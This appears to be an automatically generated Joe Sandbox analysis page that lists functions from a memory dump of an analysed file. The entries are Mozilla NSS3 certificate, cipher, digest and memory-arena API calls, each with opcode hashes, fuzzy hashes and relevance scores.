Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: fe1d8780f5be8a9d8e6ca03d71c44aedfa494ff16a9d6ebb59a5624ec751bf4e
Instruction ID: 39d8517c28080dbef55186d34784a7ad7f6e31bb4424d46b47bb2b4fc9ad5377
Opcode Fuzzy Hash: fe1d8780f5be8a9d8e6ca03d71c44aedfa494ff16a9d6ebb59a5624ec751bf4e
Instruction Fuzzy Hash: 7551DF34AA0A00CFDB609F2ADC45B5677B5BF45318F304528E89687F91D731E949CB92

Function 6CE6BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE6BD1E

Part of subcall function 6CE42F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE42F0A
Part of subcall function 6CE42F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE42F1D

Part of subcall function 6CE857D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE4B41E,00000000,00000000,?,00000000,?,6CE4B41E,00000000,00000000,00000001,?), ref: 6CE857E0
Part of subcall function 6CE857D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CE85843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE6BD8C

Part of subcall function 6CE9FAB0: free.MOZGLUE(?,-00000001,?,?,6CE3F673,00000000,00000000), ref: 6CE9FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CE6BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CE6BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE6BE3A

Part of subcall function 6CE43E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE43EC2
Part of subcall function 6CE43E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE43ED6
Part of subcall function 6CE43E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE43EEE
Part of subcall function 6CE43E60: PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CE43F02
Part of subcall function 6CE43E60: PL_FreeArenaPool.NSS3 ref: 6CE43F14
Part of subcall function 6CE43E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE43F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE6BE52

Part of subcall function 6CE42E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE42CDA,?,00000000), ref: 6CE42E1E
Part of subcall function 6CE42E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE42E33
Part of subcall function 6CE42E00: TlsGetValue.KERNEL32 ref: 6CE42E4E
Part of subcall function 6CE42E00: EnterCriticalSection.KERNEL32(?), ref: 6CE42E5E
Part of subcall function 6CE42E00: PL_HashTableLookup.NSS3(?), ref: 6CE42E71
Part of subcall function 6CE42E00: PL_HashTableRemove.NSS3(?), ref: 6CE42E84
Part of subcall function 6CE42E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE42E96
Part of subcall function 6CE42E00: PR_Unlock.NSS3 ref: 6CE42EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE6BE61

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 2d82d19fffbdfc3fe974a9b8a1d51d4165da9a99afcb2f33c6d763da20acc45e
Instruction ID: 3671f8269709815321908e1f93ccacb5e7df52baf94e03c3e62e9db325d8e957
Opcode Fuzzy Hash: 2d82d19fffbdfc3fe974a9b8a1d51d4165da9a99afcb2f33c6d763da20acc45e
Instruction Fuzzy Hash: 0741C2B5E50210AFC710DF29DC80B6AB7F4EB4571CF208168F9199BB52E731E904DB92

Function 6CE8AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CE8AB3E,?,?,?), ref: 6CE8AC35

Part of subcall function 6CE6CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE6CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE8AB3E,?,?,?), ref: 6CE8AC55

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CE8AB3E,?,?), ref: 6CE8AC70

Part of subcall function 6CE6E300: TlsGetValue.KERNEL32 ref: 6CE6E33C
Part of subcall function 6CE6E300: EnterCriticalSection.KERNEL32(?), ref: 6CE6E350
Part of subcall function 6CE6E300: PR_Unlock.NSS3(?), ref: 6CE6E5BC
Part of subcall function 6CE6E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CE6E5CA
Part of subcall function 6CE6E300: TlsGetValue.KERNEL32 ref: 6CE6E5F2
Part of subcall function 6CE6E300: EnterCriticalSection.KERNEL32(?), ref: 6CE6E606
Part of subcall function 6CE6E300: PORT_Alloc_Util.NSS3(?), ref: 6CE6E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CE8AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE8AB3E), ref: 6CE8ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CE8AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CE8AD2B

Part of subcall function 6CE6F360: TlsGetValue.KERNEL32(00000000,?,6CE8A904,?), ref: 6CE6F38B
Part of subcall function 6CE6F360: EnterCriticalSection.KERNEL32(?,?,?,6CE8A904,?), ref: 6CE6F3A0
Part of subcall function 6CE6F360: PR_Unlock.NSS3(?,?,?,?,6CE8A904,?), ref: 6CE6F3D3

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: eafba149f37aa330155fae72fab9b6ac7a961cae61233907a4c2d092e2d8546b
Instruction ID: 0050df6af45ec683b5847d35a54f69d75513b97843e4ac74c5bfbde2eddc5d4a
Opcode Fuzzy Hash: eafba149f37aa330155fae72fab9b6ac7a961cae61233907a4c2d092e2d8546b
Instruction Fuzzy Hash: 423129B1E416055FEB008F69DC409AF7776EF8472CB28852CE819ABB80EB31DD1587A1

Function 6CE68C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE68C7C

Part of subcall function 6CF09DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF50A27), ref: 6CF09DC6
Part of subcall function 6CF09DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF50A27), ref: 6CF09DD1
Part of subcall function 6CF09DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF09DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE68CB0
TlsGetValue.KERNEL32 ref: 6CE68CD1
EnterCriticalSection.KERNEL32(?), ref: 6CE68CE5
PR_Unlock.NSS3(?), ref: 6CE68D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CE68D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE68D93

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: fbcf365330b994d2407323b2756da5db9fd4f9c292b7bdef8c1089463b6d7e4a
Instruction ID: e96649b925b54dc124ef95634cc262f7968c1423cee0ae37bbdcea5d147a9ad3
Opcode Fuzzy Hash: fbcf365330b994d2407323b2756da5db9fd4f9c292b7bdef8c1089463b6d7e4a
Instruction Fuzzy Hash: 40316671E40201AFEB109F6ADC4479AB7B8BF56318F34013AEA1967F90D730A924C7E1

Function 6CEA9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEA9C5B), ref: 6CEA9D82

Part of subcall function 6CEA14C0: TlsGetValue.KERNEL32 ref: 6CEA14E0
Part of subcall function 6CEA14C0: EnterCriticalSection.KERNEL32 ref: 6CEA14F5
Part of subcall function 6CEA14C0: PR_Unlock.NSS3 ref: 6CEA150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEA9C5B), ref: 6CEA9DA9

Part of subcall function 6CEA1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE4895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE3F599,?,00000000), ref: 6CEA136A
Part of subcall function 6CEA1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE4895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE3F599,?,00000000), ref: 6CEA137E
Part of subcall function 6CEA1340: PL_ArenaGrow.NSS3(?,6CE3F599,?,00000000,?,6CE4895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE3F599,?), ref: 6CEA13CF
Part of subcall function 6CEA1340: PR_Unlock.NSS3(?,?,6CE4895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE3F599,?,00000000), ref: 6CEA145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEA9C5B), ref: 6CEA9DCE

Part of subcall function 6CEA1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE4895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE3F599,?,00000000), ref: 6CEA13F0
Part of subcall function 6CEA1340: PL_ArenaGrow.NSS3(?,6CE3F599,?,?,?,00000000,00000000,?,6CE4895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CEA1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEA9C5B), ref: 6CEA9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CEA9C5B), ref: 6CEA9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEA9C5B), ref: 6CEA9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CEA9C5B), ref: 6CEA9E91

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

Part of subcall function 6CEA1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CE9FAAB,00000000), ref: 6CEA157E
Part of subcall function 6CEA1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE9FAAB,00000000), ref: 6CEA1592
Part of subcall function 6CEA1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CEA1600
Part of subcall function 6CEA1560: PL_ArenaRelease.NSS3(?,?), ref: 6CEA1620
Part of subcall function 6CEA1560: PR_Unlock.NSS3(?), ref: 6CEA1639

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 7f14063c462953c0f6af5b2ccf3b5e153b6e174d683dc06166fe0cf3f80aaf12
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 7A414DB4601606AFE7409F95D840B92BBF5BF45358F648128D8188FFA1EB73E835CB90

Function 6CE6DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE6DDEC

Part of subcall function 6CEA0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEA08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CE6DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CE6DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CE6DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CE6DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE6DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE6DECC

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 1a6c30005c9cf4465b059fbb0de5665c490efda557f7aa59efb3e03c1f5c7ec9
Instruction ID: 93b4f92e2c5ad2dcf4b2c7ea1a2d2d0bc8af700fc27df41fb7909f92f1d4673a
Opcode Fuzzy Hash: 1a6c30005c9cf4465b059fbb0de5665c490efda557f7aa59efb3e03c1f5c7ec9
Instruction Fuzzy Hash: 063107B6E502146BDB00AF26AC00BBB36B89F5560CF750139EC09A7B01FB31DA14C6E2

Function 6CE47E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE47E48

Part of subcall function 6CEA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE487ED,00000800,6CE3EF74,00000000), ref: 6CEA1000
Part of subcall function 6CEA0FF0: PR_NewLock.NSS3(?,00000800,6CE3EF74,00000000), ref: 6CEA1016
Part of subcall function 6CEA0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE487ED,00000008,?,00000800,6CE3EF74,00000000), ref: 6CEA102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CE47E5B

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE47E7B

Part of subcall function 6CE9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE98D2D,?,00000000,?), ref: 6CE9FB85
Part of subcall function 6CE9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE9FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF6925C,?), ref: 6CE47E92

Part of subcall function 6CE9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF718D0,?), ref: 6CE9B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE47EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE47ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE47EFA

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 3058b1401c59db5572d6abd7f69cca6efd4345df597ff04ce50a59179a075cf4
Instruction ID: 48a665530a5369031b70d056a5ac3fe5dde2f5787db1f739b172cb747b9028c7
Opcode Fuzzy Hash: 3058b1401c59db5572d6abd7f69cca6efd4345df597ff04ce50a59179a075cf4
Instruction Fuzzy Hash: 5B3170B2E012119BEB109BA5AC41F5B77B8AF4565CF258928ED55EBB41E730EC04C7E0

Function 6CE9DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CE9D9E4,00000000), ref: 6CE9DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CE9D9E4,00000000), ref: 6CE9DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CE9D9E4,00000000), ref: 6CE9DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE9DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE9DCAD

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 0ec694648dee40d20fc530191a22340f0d11bab72b7e641997e79188230fa784
Instruction ID: a519ed6cbff1f5a0c46abec2e7777113344d5703dfaa071229e7216164bc1ea6
Opcode Fuzzy Hash: 0ec694648dee40d20fc530191a22340f0d11bab72b7e641997e79188230fa784
Instruction Fuzzy Hash: 87316FB9A00211DFD750CF5DD884B96B7F8AF15358F248429E94CCBB01E771EA85CBA1

Function 6CE62E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CE5E728,?,00000038,?,?,00000000), ref: 6CE62E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE62E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE62E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CE62E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CE62E9E
PR_Unlock.NSS3(?), ref: 6CE62EAB
PR_Unlock.NSS3(?), ref: 6CE62F0D

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 984af36f62fce251a1fb48780c433bd73102677711fd9da3ae48ff85d41fcc1a
Instruction ID: c45d2191e00e95966f4ab4cc7fff6846444e2f2d23a637ad8bf1306cc221e03a
Opcode Fuzzy Hash: 984af36f62fce251a1fb48780c433bd73102677711fd9da3ae48ff85d41fcc1a
Instruction Fuzzy Hash: F0314675E101059BEB016F29DC4596AB774EF1635CB648178EC08C7B11EB31EC64C7D0

Function 6CE81EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&l,6CE66295,?,00000000,?,00000001,S&l,?), ref: 6CE81ECB

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&l,6CE66295,?,00000000,?,00000001,S&l,?), ref: 6CE81EF1
EnterCriticalSection.KERNEL32(?), ref: 6CE81F01
PR_SetError.NSS3(00000000,00000000), ref: 6CE81F39

Part of subcall function 6CE8FE20: TlsGetValue.KERNEL32(6CE65ADC,?,00000000,00000001,?,?,00000000,?,6CE5BA55,?,?), ref: 6CE8FE4B
Part of subcall function 6CE8FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE8FE5F

PR_Unlock.NSS3(?), ref: 6CE81F67

Strings

S&l, xrefs: 6CE81EA0

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&l
API String ID: 704537481-539497627
Opcode ID: 2b6bcb7eb3dc251ade2e6d348d1edd9c0554889023dae3bcca46c450e43d01cf
Instruction ID: a526873d362ac1eb8c01d772c75df51a6ca208865d4ce14b143fcf930ca55718
Opcode Fuzzy Hash: 2b6bcb7eb3dc251ade2e6d348d1edd9c0554889023dae3bcca46c450e43d01cf
Instruction Fuzzy Hash: DC21E675E012049BDB009FA9EC46F9A3779AF4536CF254168FD2C87B11E730D954C6E0

Function 6CEACEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEACD93,?), ref: 6CEACEEE

Part of subcall function 6CEA14C0: TlsGetValue.KERNEL32 ref: 6CEA14E0
Part of subcall function 6CEA14C0: EnterCriticalSection.KERNEL32 ref: 6CEA14F5
Part of subcall function 6CEA14C0: PR_Unlock.NSS3 ref: 6CEA150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEACD93,?), ref: 6CEACEFC

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
